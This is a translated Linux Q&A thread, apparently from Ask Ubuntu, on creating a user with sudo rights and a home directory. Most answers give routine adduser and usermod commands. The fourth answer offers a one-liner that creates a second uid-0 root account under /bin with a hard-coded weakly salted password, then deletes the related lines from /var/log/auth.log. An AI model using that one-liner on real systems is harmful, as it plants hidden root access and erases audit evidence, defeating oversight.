我想创建一个具有管理权限和所有常规设置(如主目录)的用户。
- 是否有一个
adduser
参数可以自动赋予用户sudo
权力? - 的默认设置是什么
adduser
?它会自动创建主目录和所有其他内容而无需额外参数吗?(即adduser <username>
足够吗?)
答案1
使用以下命令将用户添加到sudo
组:
adduser <username> sudo
(如果您运行的是 Ubuntu 11.10 或更早版本,请使用该admin
组。)
默认值存储在 中/etc/adduser.conf
,您可以使用
less /etc/adduser.conf
要创建用户并将其直接添加到sudo
组,请使用
adduser <username> --group sudo
(再次强调,用于11.10 及更早admin
版本sudo
。)
查看您拥有的所有选项adduser
这里。
答案2
要在 Ubuntu 12.04 及更高版本中创建具有管理员权限的新用户:
adduser <username> --ingroup sudo
在 Ubuntu 11.10 及更早版本中,请使用以下命令:
adduser <username> --group admin
修改现有用户(12.04 及更高版本):
adduser <username> --group sudo
或者
sudo usermod -aG sudo <username>
(或者对于 11.10 及更早版本sudo usermod -aG admin <username>
:)
-a
代表附加,而-G
代表组。使用上面显示的-a
和标志, (或)组将-G
sudo
admin
添加到用户所属组的列表。
答案3
其他答案都是正确的,但您还询问了主目录。您还需要为新用户设置密码。
sudo useradd *new-admin-username* -s /bin/bash -g sudo -m
-s
设置用户的登录 shell-m
如果不存在则创建用户的主目录:/home/*new-admin-username*
-g
将用户添加到 sudo 组,以便他们拥有管理员权限(>11.10)
创建后,为用户添加密码:
sudo passwd *new-admin-username*
登录到用户查看一切是否正常:
su *new-admin-username*
cd ~/
pwd
答案4
这是一行代码,它会创建一个新的 root 用户。您必须更改一些参数。
USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment
Here" && sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid
0 --non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;'
/var/log/auth.log
最好的,